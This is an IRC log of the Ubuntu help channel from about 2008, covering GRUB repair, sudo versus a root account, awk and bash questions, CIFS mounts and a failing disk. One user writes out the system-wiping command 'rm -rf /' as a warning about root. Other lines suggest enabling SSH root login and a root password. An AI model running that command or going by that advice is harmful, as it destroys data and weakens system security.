[17:30] <khakane> i rebooted my Hardy machine yesterday, and now my k3b wont recogniz i have any media in the drive, but yet i can still mount the drive..
[17:30] <Mr-S> funny thing is , cannot activate root login / or root account
[17:30] <ioops> soundray: I have this error message in grub
[17:30] <erUSUL> blazerrr: find /lost+found/ -type d | xargs du -s | awk '$1 > 0 {sum +=$1} END {print sum}'
[17:30] <emorris> Mr-S: put sudo su in a terminal to log in as root
[17:30] <unfo> Mr-S, type: sudo su
[17:30] <abby87> eddievader: hmmm even i cant sem to figure out anything
[17:30] <soundray> !rootshell | emorris, unfo
[17:30] <abby87> !fakeroot
[17:30] <eddievader> abby87, ill keep working on it :)
[17:30] <Mr-S> dohhhhhhhhhhhh, haven thought of this one ( stupid me ) thanks will try and report back if it did not work
[17:31] <EvolutionXtinct> !performance
[17:31] <emorris> soundray: what is the difference between sudo -i and sudo su?
[17:31] <erUSUL> blazerrr: copy -R $(find /lost+found/ -type d | xargs du -s | awk '$1 > 0') /newfolder maybe works but i make no waranties
[17:31] <unfo> Mr-S: oops, i forgot.  sudo -i is better
[17:31] <unfo> Mr-S: it sets PATH for one thing
[17:31] <unfo> and it does more
[17:31] <ioops> soundray: maybe he doesn t found the file on the paritition
[17:31] <erUSUL> blazerrr: maybe you should try in #bash there you will find cli wizards better than i
[17:31] <blazerrr> erUSUL all right thank you so much!
[17:31] <soundray> emorris: sudo -i gives you a sane environment. sudo su may or may not do it correctly
[17:31] <Mr-S> np ;)you opend the road.. as slacky I can handle it further now
[17:32] <soundray> ioops: I'll look up that error
[17:32] <blazerrr> erUSUL okok!! thank you for all
[17:32] <dk> ineed create pack deb
[17:32] <emorris> soundray: ok, i will bear that in mind, thanks
[17:32] <abby87> eddievader: pearljam fans can handle anythin :) just kiddin
[17:32] <ioops> soundray: I don t understood sorry
[17:32] <abby87> dk: u need a debian package?
[17:32] <eddievader> abby87, hehe
[17:33] <abby87> dk: u need to create a debian package ??
[17:33] <eddievader> abby87, pearljam rock :)
[17:33] <khakane> i rebooted my Hardy machine yesterday, and now my k3b wont recogniz i have any blank media in the drive, but yet i can still mount the drive..
[17:33] <Mr-S> the path is not the real issue, can create a work around by loops, just wired that root is completly unaccasable...
[17:33] <abby87> eddievader: yes they do !!
[17:33] <eddievader> bbiab, let me try to fix this
[17:33] <soundray> ioops: could you pastebin your /boot/grub/menu.lst? Sorry, you'll have to boot the live CD again...
[17:34] <ioops> soundray: no pb i already launch the live cd
[17:34] <vbabiy> Hey is alpha 5 of 8.10 out yet
[17:34] <nomoa> my /proc (other users PIDs folders invisible) is filtered for normal users on Ubuntu 8.04 do you know how this is configured?
[17:34] <abby87> vbabiy: yes
[17:34] <erUSUL> !schedule > vbabiy
[17:34] <vbabiy> abby87: you got a link
[17:34] <Pici> vbabiy: Please join #ubuntu+1 for Intrepid/8.10 support/discussion.
[17:34] <khakane> yay i get no help :)
[17:35] <Pici> !patience | khakane
[17:35] <ioops> soundray: no the live cd made a blank screen ...
[17:35] <ioops> i have to start again
[17:35] <khakane> Pici: i gues you didnt notice the ':)'
[17:35] <khakane> but that's o
[17:35] <khakane> k
[17:35] <dk> abby87,
[17:35] <dk> si
[17:35] <dk> u need create
[17:35] <dk> abby87,  u can help me?
[17:36] <abby87> vbabiy: sorry i guess i was wrong
[17:36] <abby87> dk: will try my best
[17:36] <vbabiy> abby87: its not out yet
[17:36] <dk> ok
[17:36] <dk> thanks so much
[17:36] <abby87> vbabiy: sorry for the wrong info got a lil  confused
[17:36] <ioops> soundray: i feel something bad will be happen ... :(
[17:37] <luis08> hey everyone, I'm trying to change my screen resolution by inserting the line Modes "1024x768" into xorg.conf, but it's not working... any ideas?
[17:37] <soundray> ioops: in that case, it may be time to take a break and a walk in the outdoors...
[17:38] <ioops> soundray: it s working ;)
[17:38] <cyix> luis08:> I used displayconfig-gtk, chose a monitor that supported 1024x768 and it worked fine.
[17:39] <blackvd> how do I drop to telinit 3 from gdm so I can install nvidia drivers?
[17:39] <Flannel> blackvd: ctrl-alt-f1 and then sudo /etc/init.d/gdm stop
[17:39] <erUSUL> blackvd: sudo /etc/init.d/gdm stop
[17:39] <soundray> blackvd: wrong approach
[17:40] <erUSUL> blackvd: but you should be using the drivers provided by ubuntu
[17:40] <soundray> blackvd: you should really use System-Administration-Hardware Drivers to get NVidia drivers
[17:40] <vipaca_> yay Im not on
[17:40] <blackvd> I'm using the beta drivers
[17:40] <blackvd> ubuntu ones do not work
[17:41] <banisterfiend> hey guys how do i get awk to print out all of the line except the first field?
[17:41] <blackvd> Thanks that did the trick!
[17:43] <Mr-S> ok got the stuff working now ! One more question: does anybody know where the codecs of mplayer are stored ?
[17:43] <Mr-S> simply cannot find them
[17:43] <Ergo^> hello
[17:44] <Ergo^> is there a delay with next intrepid alpha ?
[17:44] <ubuntu_> soundray: http://pastebin.com/m13a7295b
[17:45] <emorris> Ergo^: when was it supposed to be due?
[17:45] <soundray> ioops: that looks okay to me. Can you do a 'sudo blkid' as well and pastebin the output
[17:45] <Mr-S> One more question: does anybody know where the codecs of mplayer are stored ? ( distro install )
[17:46] <Ergo^> emorris: yesterday
[17:46] <Gizmo_The_Great> Anyone here used wxPyton on Ubuntu? If so, do you know how to launch it?
[17:46] <Sobaka> Hello. I have two machines with ubuntu installed on it. On one machine ubuntu will give an installer screen when a plugin in for example firefox is missing or when I try to play a music file with a codec that isn't installed. On the other machine I don't get this screen in this case. How can I make ubuntu give bring up this install screen in such case?
[17:47] <ioops2> soundray: naybe i have to change hd0, 2 by 3?
[17:47] <soundray> ioops2: I don't think so
[17:47] <soundray> ioops2: Can you do a 'sudo blkid' as well and pastebin the output
[17:47] <ioops2> soundray: i doun t understood
[17:48] <blazerrr> Sobaka, have you try looking for packages from apt or synaptic ? on the machine which doesnt show the installer screen
[17:48] <ioops2> sudo blkid?
[17:48] <Mr-S> will it be a problem for ubuntu if I compile mplayer from source ?
[17:49] <erUSUL> banisterfiend: awk '{ $1="" ; print $0}' < file
[17:49] <Sobaka> Yes, the packages are there, but this machine is for a user that isn't very good with computers, he will really need those simple screens
[17:49] <soundray> ioops2: please open a terminal, run 'sudo blkid' and put the output on a pastebin
[17:49] <ioops2> soundray: http://pastebin.com/m3b7b3692
[17:50] <banisterfiend> erUSUL: thanks, but what does the $0 mean?
[17:50] <leszek-rc1> hi
[17:51] <recon69> afternoon all, any ubuntu gurus that can help me figure out why my system keep crashing?
[17:51] <erUSUL> banisterfiend: the complete record line
[17:51] <blazerrr> Sobaka, try to find the .conf file for those applications on /etc or /home/user/.application and copy it on the other system
[17:52] <Dranik> how to add extra fonts?
[17:52] <erUSUL> banisterfiend: first we make the first field of the record an empty string then we print the modified record with the first field being a empty string it does not appear on output
[17:52] <banisterfiend> erUSUL: ok thanks, pretty much what im trying to do is i downloaded a source code listing with line numbers i am trying to strip the line numbers about before i use it
[17:52] <erUSUL> !fonts | Dranik
[17:52] <dGodFatheR> how do i edit the default settings for the xterm ?
[17:52] <Dranik> erUSUL: thx
[17:52] <dGodFatheR> i want it to open with bigger font etc.
[17:53] <ioops2> soundray: something wrong in the blkid output ?
[17:53] <erUSUL> banisterfiend: cut would have been a better aproach now that i think about it ...
[17:53] <soundray> ioops2: please do a 'sudo mount /dev/sda3 /mnt' and tell me what the output of 'ls -d /mnt/boot' is
[17:53] <dsde> dGodFatheR, edit -> current profile
[17:53] <banisterfiend> erUSUL: oh ok, how would i use it with cut? (sorry im new to linux and i figured awk would be the right tool)
[17:53] <Mr-S> I am sorry ! I dont get ubunutu .... :(
[17:54] <dsde> dGodFatheR, you can change font / font size their (among other things)
[17:54] <Mr-S> can somone drop a line why you love it so much ?
[17:54] <erUSUL> banisterfiend: no cut wouldn't have "cut it" (pun intended) XD
[17:54] <dsde> *there
[17:54] <banisterfiend> hehe
[17:54] <dGodFatheR> dsde: where can i find that?
[17:54] <dGodFatheR> i can't find the edit menu
[17:54] <JonathanEllis> Has anyone managed to get a Snapscan Touch scanner to work on Hardy Heron?
[17:54] <eddievader> abby87, apparently I fixed it by totally removing --purging gdm
[17:54] <dsde> dGodFatheR, you are talking about the standard terminal (bash) I assumed
[17:54] <dsde> dGodFatheR, correct me if I'm wrong
[17:55] <eddievader> then removed ANY gdm entries in file system manually
[17:55] <eddievader> then reinstalled...
[17:55] <squarebracket> is there an easy way i can monitor a mailbox and execute commands on a new email?
[17:55] <abby87> eddievader: went the hard way
[17:55] <dGodFatheR> dsde, i am talking about the bash terminal named xterm
[17:55] <Mr-S> ... I am sorry . just a bit frustrated at the moment, while setting up a ubuntu for a friend ....
[17:55] <eddievader> abby87, yep
[17:55] <dGodFatheR> not the usual gnome-terminal
[17:55] <abby87> eddievader: but good that it works
[17:55] <eddievader> abby87, yea, but still I'd love to know what happened, so other users can get help
[17:55] <eddievader> instead of doing the whole removing gdm thing
[17:56] <ioops2> soundray: http://pastebin.com/m1c8753f7
[17:56] <eddievader> ill check my logs and post it in launchpad if I find anything
[17:56] <recon69> squarebracket: sure is, but it's complicated. hows you programming skills
[17:56] <abby87> eddievader: hmmm check the logs mebbe  something comes out
[17:56] <eddievader> yep
[17:56] <dsde> sec, pizza man at the door =)
[17:56] <squarebracket> recon69: what language?
[17:56] <soundray> ioops2: is that really what you got from 'ls -d /mnt/boot'?
[17:56] <dGodFatheR> dsde: well? any suggestions?
[17:57] <mizipzor> sometimes when running programs in wine, my sound in gnome stops working
[17:57] <ioops2> soundray: no, if I made this commande I have ls: cannot access /mnt/boot: No such file or directory
[17:57] <recon69> squarebracket: language should not really matter, just be able to create a memory resident program that can use smtp
[17:57] <erUSUL> banisterfiend: in fact it would (/me should learn how to read man pages) « cut -f2- -d' ' < input_file > output_file »
[17:57] <ioops2> soundray: I made just a simple ls in /mnt
[17:58] <squarebracket> recon69: memory resident = daemon?
[17:58] <ioops2> soundray: and /dev/hda3 was already mount in chroot
[17:58] <soundray> ioops2: please make sure you answer my questions exactly. This error message contains the clue to your problem, I think.
[17:58] <ioops2> soundray: ok
[17:58] <dGodFatheR> I can't find my ~/.Xdefaults. why is that?
[17:58] <recon69> squarebracket: yep , it has to be a demon so that it can check the mailbox for new mail every so often
[17:58] <ioops2> if I made your command I have this error message
[17:59] <banisterfiend> thanks erUSUL, but i think the problem is that the line numbers dont appear on every line, but the lines they appear on they are the first field
[17:59] <squarebracket> recon69: couldn't i just use cron?
[17:59] <erUSUL> dGodFatheR: you haven't created one and none has done it for you
[17:59] <mizipzor> ...and it seems my volume controller is missing from the tray
[17:59] <soundray> ioops2: do a 'cd /mnt ; sudo ln -sf . boot' (watch all the spaces carefully)
[17:59] <recon69> squarebracket: sure, that would be an approach.
[17:59] <squarebracket> recon69: i'm foolish. i can probably do this by myself. i'm sure python has an smtp module.
[17:59] <dGodFatheR> you are supposed to create it your self?
[17:59] <dGodFatheR> erUSUL: ?
[18:00] <f00li5h> meow
[18:00] <ioops2> soundray: no result
[18:00] <soundray> ioops2: good, now do a 'ls -ld /mnt/boot' (the output should be short)
[18:00] <erUSUL> dGodFatheR: the file does not exist becouse it is not there by default you have to create it yourself if you need it
[18:01] <ioops2> soundray: lrwxrwxrwx 1 root root 1 2008-09-05 16:59 /mnt/boot -> .
[18:01] <soundray> ioops2: excellent. Do you understand what this did?
[18:01] <dGodFatheR> erUSUL: in that case how do i know what should be written in it, and how
[18:01] <ioops2> yes
[18:01] <ioops2> i guess
[18:02] <ioops2> the ligne means the /boot si going to a hidden file
[18:02] <ioops2> that s right ?
[18:02] <aVirulence> hi there, can someone tell me what's different in ubuntu's recovery mode? a friend of my cannot start X correctly in normal mode,. but recovery mode seems to work fine..
[18:02] <erUSUL> dGodFatheR: if you do not know what should be written in it you do not need it
[18:02] <recon69> squarebracket: glad to be of help :) , good luck with the project
[18:03] <Niteye> hello there
[18:03] <soundray> ioops2: no, it means that boot inside /dev/sda3 points to itself. Now it should be able to find /boot/vmlinuz... etc.
[18:03] <squarebracket> recon69: thanks! :)
[18:03] <Niteye> how can i install little things like in vista so I have the temperature and weather on my desktop?
[18:03] <erUSUL> aVirulence: afaik safe graphics mode uses a basic vesa based xserver that works on all graphic cards
[18:03] <Niteye> i use Kubuntu
[18:03] <ioops2> soundray: what i have to change?
[18:03] <soundray> ioops2: I think it may work now (no promises of course...)
[18:03] <soundray> ioops2: nothing, it's all done, I think
[18:03] <erUSUL> !info screenlets | Niteye
[18:04] <ioops2> ok I try to reboot ?
[18:04] <erUSUL> !info gdesklets | Niteye
[18:04] <soundray> ioops2: yes
[18:04] <ioops2> ok see you
[18:04] <dGodFatheR> erUSUL: i do need it because i need to edit the default settings for my xterm
[18:04] <erUSUL> Niteye: two options to do what you want
[18:04] <dGodFatheR> i just don't know how to write it
[18:04] <aVirulence> erUSUL, ah, ok... so there is a problem with the display driver
[18:04] <erUSUL> aVirulence: probably
[18:05] <erUSUL> !sensors | Niteye also check this out
[18:05] <recon69> aVirulence: most likely, I would change back to the default driver first and see if you can boot normaly, then try setup the video driver for your card
[18:06] <the> hi
[18:06] <Mr-S> OK i  give up now.. does somebody knwo how to activate the root accout ? using sudo all the time is not working very well
[18:06] <the> anyone here plz help me
[18:06] <ioops> soundray: its booting ...
[18:06] <erUSUL> dGodFatheR: see an example http://www.math.dartmouth.edu/~ahb/laptop_setup/Xresources
[18:06] <the> how can i setup network installation
[18:06] <soundray> ioops: sounds like there's progress
[18:06] <aVirulence> recon, no, that doesn't work, I've reset the xorg.conf file a couple of times, but the display gets scrambled when starting (so I disabled the splash screen) and when xorg is started, I get a black screen
[18:06] <ioops> soundray: same shit :(((((
[18:07] <ioops> soundray: I have the prompt initramfs
[18:07] <erUSUL> the: what do you want to set up ?
[18:07] <soundray> ioops: don't let your frustration spoil your good manners ;)
[18:07] <the> erUSUL: network installation
[18:07] <ioops> soundray: so sorry
[18:07] <blackvd> here's one, what's the number after chmod for changing ownership of a file from root to user? tried 777 but that was wrong
[18:07] <the> how to setup the host,dhcp and pxe
[18:07] <erUSUL> !install | the
[18:07] <leeping2007> Hi there, when I restarted my system, fsck died and I had to run it manually.  Now, I restarted the system, but the main hard drive /dev/sda1 is write protected.  How do I unprotect it?
[18:08] <Mr-S> OK i  give up now.. does somebody knwo how to activate the root accout ? using sudo all the time is not working very well
[18:08] <leeping2007> Mr-S: sudo bash
[18:08] <dGodFatheR> erUSUL: thanks
[18:08] <erUSUL> the: https://help.ubuntu.com/community/Installation/LocalNet
[18:08] <JonathanEllis> Hi. I am having problems setting up a scanner. Can anyone help please?
[18:08] <ioops> soundray: what do you think my problem is so grave ?
[18:08] <the> ubottu: If I already have dhcp server running
[18:09] <Mr-S> thanks leep: can i activate the root account to a stand alone account for ssh as well ( sorry I am a slackware user )  ?
[18:09] <the> then if I setup 1 more dhcp dedicated for this network installation
[18:09] <the> will it crash?
[18:09] <soundray> ioops: did you boot the first or the third entry now?
[18:09] <vinu76js1> type sudo passwd to activate your root account
[18:09] <erUSUL> !rootshell | Mr-S
[18:09] <erUSUL> vinu76js1: do not do that please
[18:09] <recon69> the: dont think you can have 2 dhcp server on the same network
[18:10] <erUSUL> !rootpass
[18:10] <ioops> soundray: i am trying with the first entry now
[18:10] <erUSUL> !rootpassword
[18:10] <Mr-S> oh that seem to work ... thanks man
[18:10] <blackvd> nvm found it, its chown username:group filename
[18:10] <ioops> but is not working anymore
[18:10] <darjeeling> Mr-S check /etc/ssh/sshd_config maybe
[18:10] <Ab3L> hello
[18:10] <Mr-S> sorry for asking this question, but why has ubuntu a sudo policy and not a root policy ?
[18:10] <erUSUL> !noroot | vinu76js1
[18:11] <soundray> ioops: okay, we knew that that was not going to work. That's why we went through all the trouble and installed -18. That's now the third grub menu option, so reboot and select that one please.
[18:11] <leeping2007> No one here knows how to remove write protection from a hard drive?
[18:11] <erUSUL> !sudo > Mr-S
[18:11] <darjeeling> Mr-S because with root you can type rm -rf /
[18:11] <darjeeling> Mr-S PermitRootLogin yes
[18:11] <vinu76js1> sorry all ! started using IRC, so dont know about it, sorry again
[18:11] <darjeeling> Mr-S PermitRootLogin yes in sshd_config
[18:11] <Sobaka> My firefox on ubuntu 8.04 i386 version says the whole time that flash isn't installed. I didn't get the missing plugin screen (which is already suspicious), but by manually installing flash firefox still gives the message that flash isn't installed
[18:11] <erUSUL> vinu76js1: no problem; just letting you know
[18:12] <Mr-S> the thing is that root is basically disabled thoughout the system ... I only need root access to midy the system for a friend because he is coming from windows, and i thoughyt ubuntu will be the right choice for him.
[18:12] <ioops> soundray: but the third entry is the -18 version
[18:12] <ioops> soundray: now i am in the initramfs prompt
[18:12] <Mr-S> looks like i have a lot to learn about ubuntu .... )
[18:12] <blackvd> Mr-S: For easy root file management I use mc and run it with sudo mc in bash
[18:13] <soundray> 18:10 <ioops> soundray: i am trying with the first entry now
[18:13] <vinu76js1> got my fifa match bye
[18:13] <soundray> ioops: what did you mean when you said this ^^?
[18:13] <coagen> is there an ubuntu-legal channel?
[18:14] <Mr-S> this one will work, but for security reaosn I like a root account by ssh and on his desktop to solve his problems. But i am not so used to ubuntu. tried some version but .. ( no offence ) its not for me
[18:14] <ioops> soundray: i write in private
[18:14] <zoed> Hi! Does anybody know where nautilus saves the icon for a specific file? I mean, if I right clicked the file and chose another icon for just that file.
[18:14] <Mr-S> but thanks anyway .. i will manage this way using MC .
[18:15] <coagen> zoed: not sure about that specific... but most icons are stored in /usr/share/icons or /usr/share/pixmaps
[18:15] <jskjerin> Hva skjer a
[18:15] <zoed> yes, but how does nautilus know which file I gave which icon (if I changed the default icon)
[18:16] <tux> anyone use ubuntu and cisco router?
[18:17] <coagen> zoed: i would assume that would be somewhere in your home folder in the .config folder or the .gnome2 folder or even in the .nautilus folder
[18:17] <jskjerin> noen som skjønner hva jeg gjør her
[18:18] <Pici> !no | jskjerin
[18:18] <Sobaka> My firefox on ubuntu 8.04 doesn't show up the missing plugin dialog when a plugin misses. What can I do about this?
[18:19] <StepNjump> Eh guys, can anyone help me?
[18:19] <darjeeling> -.-;;
[18:19] <Pici> StepNjump: Ask a question and maybe we can.
[18:20] <darjeeling> Mr-S solved?
[18:20] <darjeeling> Mr-S I'll do the same thing like you
[18:20] <ech0dish> my laptop fails to boot off battery power
[18:20] <darjeeling> Mr-S for managing client in office
[18:20] <darjeeling> Mr-S about 20-30 ubuntu machines in nat network
[18:21] <StepNjump> can anyone kindly tell me how I could see my networked hard drives on another machine running XP please?
[18:21] <darjeeling> Mr-S be careful about root password. In these days ssh brute-force attack is normal
[18:21] <zoed> coagen: I can't find it.
[18:21] <darjeeling> StepNjump just see or mount it?
[18:21] <StepNjump> oh thank you darjeeling
[18:22] <coagen> Sobaka: dont know about the missing plugin showing thing... but if you want to install flash just do "sudo aptitude install flashplugin-nonfree" without quotes from a terminal
[18:22] <ech0dish> anyone got any idea's as to why my dell d600 will not boot off battery power, ndiswrapper is conflicting with something
[18:22] <ech0dish> but only on battery power
[18:22] <StepNjump> I will try that. I don't know how to mount but I'm sure I'll find something on that on the help files
[18:22] <ech0dish> works fine on dc
[18:22] <Sobaka> coagen: that I did, but ff will still give the error
[18:23] <shahrukh> hey guys
[18:23] <darjeeling> StepNjump hmm I don't know what exactly ubuntu way
[18:23] <coagen> zoed: heh... dont know what to tell you... google is your friend :)
[18:23] <shahrukh> can any one help me with a ubuntu query?
[18:23] <darjeeling> StepNjump but normally you can mount
[18:23] <StepNjump> I guess the best way would be to use bash right?
[18:23] <Pici> shahrukh: Ask away
[18:23] <coagen> Sobaka: backup your bookmarks and delete your .firefox and .mozilla folder...
[18:23] <darjeeling> StepNjump mount -t cifs -o username=username,password=password //windowsmachineip/servicenmae /mountpoint
[18:23] <coagen> Sobaka: you'll loose your saved passwords and stuff but that might fix it
[18:23] <Mr-S> thanks for the tip .. beeing a slackware user for many years i knwo the riscs..
[18:23] <StepNjump> oh awesome
[18:24] <StepNjump> but what is mountpoint?
[18:24] <darjeeling> StepNjump In ubuntu way I think yuou can search with desktop
[18:24] <shahrukh> im basically trying to copy a .dll file to a windows directory system32.. the file is on my desktop.. how do i use sudo cp to do this
[18:24] <banisterfiend> if  tar -czvf $SRC_NAME $SOURCES
[18:24] <banisterfiend> then
[18:24] <banisterfiend>   echo "error making package!"
[18:24] <banisterfiend>   exit 1
[18:24] <banisterfiend> fi
[18:24] <FloodBot1> banisterfiend: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[18:24] <Mr-S> i ususally disable root acces for ssh and ftp ... but setting up a secure tunnel to his machine with will be fine
[18:24] <z_> 有没有人写中文的啊，
[18:24] <LjL> shahrukh: sudo cp ~/Desktop/file.dll /directory/where/windows/is/mounted/windows/system32
[18:24] <LjL> with the appropriate case
[18:24] <StepNjump> I think it used to be darjeeling but now unfortunately, there's nothing in the windows network window
[18:24] <LjL> !zh | z_
[18:24] <darjeeling> StepNjump mount point is where you want to see the mounted files system
[18:25] <darjeeling> hmm
[18:25] <StepNjump> ok
[18:25] <shahrukh> windows is on my c drive
[18:25] <darjeeling> in thae case I recommand smbclient
[18:25] <StepNjump> could you give me an example of mountpoint?
[18:25] <z_> the chinese where go to ,????
[18:25] <StepNjump> I don't care where it is
[18:25] <z_> help me
[18:25] <LjL> z_: type /join #ubuntu-cn
[18:25] <darjeeling> like /mnt/ ?
[18:25] <darjeeling> or
[18:25] <shahrukh> its like c:\windows
[18:25] <darjeeling> yes
[18:25] <LjL> shahrukh: "C:" means something to Windows only, it doesn't mean anything to Linux. you need to have the Windows partition mounted somewhere.
[18:25] <LjL> !windowsdrives > shahrukh    (shahrukh, see the private message from Ubotu)
[18:26] <StepNjump> oh ok thanks I will try that
[18:26] <darjeeling> StepNjump ok
[18:26] <darjeeling> =)
[18:26] <coagen> wow this channel is raging
[18:26] <jedimind> shhh
[18:26] <shahrukh> dude this good.. thanks a lot.. ill try this and let u know how this goes
[18:27] <banisterfiend> how do i set a variable equal to the exit status of a shell command? (using bash)
[18:27] <LjL> banisterfiend: variable=$?
[18:28] <banisterfiend> LjL: ok, thanks..that's nice. but can't i just go var=`tar (etc)`
[18:28] <banisterfiend> or var=tar(etc)
[18:28] <Mr-S> bassically ssh will only answer to my machine
[18:29] <LjL> banisterfiend: that puts the *output* of the command into the variable, not the *exit status*
[18:29] <LjL> banisterfiend: and, it's deprecated too, you should use $() instead of ``
[18:29] <Mr-S> the simple way will be to modify iptables .. the better way ( secret ;) )
[18:29] <darjeeling> Mr-S ok good
[18:29] <banisterfiend> LjL: ah ok, so how would i test the exit status in an if statement of a shell command? if tar(etc)
[18:29] <darjeeling> Mr-S what way?
[18:29] <coagen> ok so I had a concern... I saw an article in a magazine called "VegNews" its a magazine for vegans... about a company in cali called "ubuntu" and I said WHAT? It appears to be a resturant and yoga studio, as you can see from their website: http://ubuntunapa.com then I clicked on the nelson mandela video and noticed they used the same one that ubuntu/canonical produced several years ago! it even has the freaking ubuntu logo in the corne
[18:29] <coagen> r....... so as a concerned ubuntu citizen i called and asked a few questions...
[18:30] <darjeeling> Mr-S I think it's best with iptables!
[18:30] <LjL> banisterfiend: you don't. run the command first, then "if [[ $? -eq 0 ]]; then ..."
[18:30] <darjeeling> Mr-S hmm pam? cross-cable? nat? or something?
[18:30] <LjL> banisterfiend: $? is the only variable that gives you access to exit status (well, not strictly true, there's another for piped commands)
[18:30] <banisterfiend> ok thanks, LjL, how of interest, why the double [[ ?
[18:30] <Mr-S> try iptables plus something else. think of a sort of fingerprint id with 2 way accaptance .....
[18:30] <banisterfiend> out*
[18:31] <Qster> how do i get my display to use 120hz?
[18:31] <LjL> banisterfiend: with "-eq", you don't really need them, i'm just used to having them. they're used for advanced test operators in bash.
[18:31] <Qster> max it shows is 60
[18:31] <darjeeling> Mr-S port knocking is good solution think about it
[18:31] <banisterfiend> ok cheer
[18:31] <banisterfiend> s
[18:31] <banisterfiend> you've helped alot thanks
[18:31] <Mr-S> after root logiong on ssh it will need a certain file trnasfer to unlock yo from the tmp dir. only than you wil have access to the system. otherwise you will stay locked to tmp
[18:32] <darjeeling> Mr-S hmm using profile ?
[18:32] <LjL> banisterfiend: wait, what did i just say...
[18:32] <Mr-S> ssh brute force is really a pain in the  (^&&*^*^*^).
[18:32] <LjL> banisterfiend: you *can* do direct tests on exit status
[18:32] <LjL> banisterfiend: if tar etc; then ...    will work
[18:32] <coagen> their number is<PHONE_NUMBER>, I talked to "courtney" and she said they were aware of the linux os, and no that they did not use it, and i asked her they why they used the ubuntu video about nelson mandela... she claimed that that was just about the word, and I said, no it has the ubuntu logo! I asked her if she thought it was apropriate for her company to shamelessly use a video produced for ubuntu linux with out mentioning ubuntu linux
[18:32] <coagen> on their website or using it on their computers
[18:33] <Mr-S> Sorry can not evaluate this stuff on an open channel
[18:33] <darjeeling> haha ok
[18:33] <darjeeling> just wonder
[18:33] <Mr-S> but lets lay iptables, filters and logs can do a lot
[18:33] <darjeeling> ah
[18:33] <darjeeling> got it
[18:34] <darjeeling> got a hint in a logs
[18:34] <Mr-S> i cannot say no more in open channel
[18:34] <darjeeling> ok
[18:34] <darjeeling> =)
[18:36] <Mr-S> one little question, I have ( lol ) . Do you think ubuntu is for advanced users as well ? ( just an open discussion)
[18:36] <glh> mama
[18:36] <glh> kikjikj
[18:36] <StepNjump> darjeeling, it doesn,t work
[18:37] <darjeeling> Mr-S I do not care about linux distribution
[18:37] <Pici> Mr-S: This channel is really for support, not so much open discussions. Check out #ubuntu-offtopic if you want to chat.
[18:37] <StepNjump> Why, it's not good?
[18:37] <shahrukh> hey LjL, im still having a bit of trouble getting the sudo cp done... my windows directory is in a mount named sda1 which is displayed on my desktop.. hope that can help u give me an exact syntax...
[18:37] <Zaqq> hi everyone. i have a dual boot setup (Vista + Ubuntu 8.04) on a Dell laptop. When i switch to ubuntu from vista, i am not able to connect to the internet .. now ping my router ... when i go back to vista .. it works. I know that my drivers are correct in ubuntu because I was able to download the latest updates etc right after my first ubuntu reboot.. any ideas to get my wired network detected?
[18:37] <Zaqq> nor*
[18:37] <Mr-S> I guess you are right  ... sorry for askiing... got the stuff I needed working. perhaps I will post there
[18:37] <StepNjump> I tried what yousaid and it gave me: mount -t cifs -o username=username,password=password //windowsmachineip/servicenmae /mountpoint
[18:37] <jonah> hey can anyone help advise me, i've got this router: http://www.netgear.co.uk/wireless_adslrouter_dg834g.php   and this router: http://www.multitask-computing.co.uk/catalog/product_info.php?products_id=309   and i don't know which to keep. got one free of the isp, which is best??
[18:38] <darjeeling> Pici wow it's only for support?
[18:38] <LjL> shahrukh: it's probably mounted as /media/sda1. type "ls /media/sda1", and tell me whether it gives you an error or, rather, shows you your windows drive's contents.
[18:38] <Pici> !ot | darjeeling yes
[18:39] <shahrukh> yeah its showing up all the directories in dif colors
[18:39] <Ashal> /msg NickServ HELP REGISTER
[18:39] <darjeeling> ubottu got it =)
[18:39] <LjL> Ashal: i really suggest you do that sort of stuff in the server tab, or you'll eventually give out your password to us by mistake.
[18:39] <darjeeling> I was in wonder why are these questions.
[18:39] <Ashal> Thanks
[18:40] <shahrukh> aight ill try the mount then.. cheers
[18:40] <Ashal> I am trying the empathy client. It is not very intuitive
[18:40] <Zaiden> For some reason I can't have wine programs and firefox/linux sound going at the same time, is there a way to fix this?
[18:40] <banisterfiend>  how come when i do echo -e "hello\n" in a shell script it prints the '-e' out as well?
[18:41] <shahrukh> (cp: cannot stat `/media/sda1/WINDOWS/system32/hal.dll': Input/output error)  this the error it pops out...
[18:42] <shahrukh> wat do u think is the problem LjL??
[18:42] <amrit1> any body please help me installing the driver for ATI Radeon Xpress 1100
[18:42] <amrit1> I trying what is there in http://wiki.cchtml.com/index.php/Ubuntu_Gutsy_Installation_Guide#Method_1:_Install_the_Driver_the_Ubuntu_Way
[18:43] <LjL> shahrukh: that might mean the filesystem is corrupted...
[18:43] <LjL> or the drive is faulty, too
[18:43] <shahrukh> ah...
[18:43] <shahrukh> do u think i should just reinstall windows then?
[18:43] <Qster> anyone help trying to get my display to 1024x768@120hz
[18:44] <jonah1980> hey can anyone help advise me, i've got this router: http://www.netgear.co.uk/wireless_adslrouter_dg834g.php   and this router: http://www.multitask-computing.co.uk/catalog/product_info.php?products_id=309   and i don't know which to keep. got one free of the isp, which is best??
[18:44] <Pici> jonah1980: Try ##hardware or ##networking , this is really Ubuntu related.
[18:45] <Pici> jonah1980: er, s/is/isn't/
[18:46] <LjL> shahrukh: you should probably try running chkdsk on windows first
[18:46] <shahrukh> windows wont even start...
[18:47] <shahrukh> the file is corrupted cuz it keeps telling me to install a copy of it...
[18:47] <shahrukh> windows doesnt even load
[18:47] <shahrukh> can i somehows delete the file from here
[18:48] <shahrukh> i mean from ubuntu
[18:48] <shahrukh> or even rename it
[18:48] <m0u5e> i just downloaded 3 packages from getdeb, and I would like to install them, however because they are deps of each other, i need to install them all at the same time, how would I do this?
[18:49] <raymond> hoi mannen
[18:49] <Rasstamann> where can I find the list of commands for ubuntu shell?
[18:49] <Pici> !cli | Rasstamann
[18:50] <Rasstamann> ty
[18:51] <shahrukh> any clue LjL?
[18:52] <LjL> shahrukh: i think your HD might have failed. install "smartmontools" and run "sudo smartctl -H /dev/sda"
[18:52] <DechWerks> hello all
[18:52] <DechWerks> I'm having a grub related issue since update
[18:53] <shahrukh> dat cud be a possibility... thanks LjL
[18:53] <DechWerks> anyone else run into this with update to 8.x?
[18:53]  * DechWerks goes to read hte fax
[18:53] <DechWerks> er faq
[18:53] <YaKkO_FJV> Can't locate HTTP/Request.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.8.8 /usr/local/share/perl/5.8.8 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site_perl .) at the.txt.1 line 48.
[18:53] <YaKkO_FJV> BEGIN failed--compilation aborted at the.txt.1 line 48.
